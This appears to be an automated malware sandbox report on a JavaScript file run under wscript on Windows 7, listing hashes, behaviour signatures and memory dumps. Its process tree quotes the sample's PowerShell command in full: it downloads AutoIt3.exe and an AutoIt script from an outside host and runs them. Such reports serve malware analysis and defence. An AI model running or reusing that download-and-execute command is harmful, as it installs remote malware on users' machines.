Analysis

  • max time kernel
    117s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    01-11-2023 18:38

General

  • Target

    02112023_0238_gentle.js

  • Size

    135KB

  • MD5

    77ee5081c5c481378ed54009f53173c6

  • SHA1

    d70867e9e78247eebd54f54516ac8a046368d3f2

  • SHA256

    c953d07e2917511b5d9111da517ae28c3f4f07e84c1cfde09e1e69bb60299b0e

  • SHA512

    697421ef3ccdd66e1c94a2c388da6ee68e9d501ee841d2eb53254b4784715475057d2b05740e760cb6bdcfead10174101db9e5569f3cb44db5525d5291cbb9b0

  • SSDEEP

    1536:hZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0c:UT9U7hgaX6eerjqlI2IO6Mzqfpu

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\02112023_0238_gentle.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1280
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351/msikrxeiths' -OutFile 'krxeiths.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'krxeiths.au3'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2188

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2188-6-0x000007FEF5160000-0x000007FEF5AFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2188-5-0x0000000001E30000-0x0000000001E38000-memory.dmp

    Filesize

    32KB

  • memory/2188-4-0x000000001B460000-0x000000001B742000-memory.dmp

    Filesize

    2.9MB

  • memory/2188-7-0x0000000002AB0000-0x0000000002B30000-memory.dmp

    Filesize

    512KB

  • memory/2188-8-0x0000000002AB0000-0x0000000002B30000-memory.dmp

    Filesize

    512KB

  • memory/2188-9-0x0000000002AB0000-0x0000000002B30000-memory.dmp

    Filesize

    512KB

  • memory/2188-10-0x000007FEF5160000-0x000007FEF5AFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2188-11-0x0000000002AB0000-0x0000000002B30000-memory.dmp

    Filesize

    512KB

  • memory/2188-12-0x000007FEF5160000-0x000007FEF5AFD000-memory.dmp

    Filesize

    9.6MB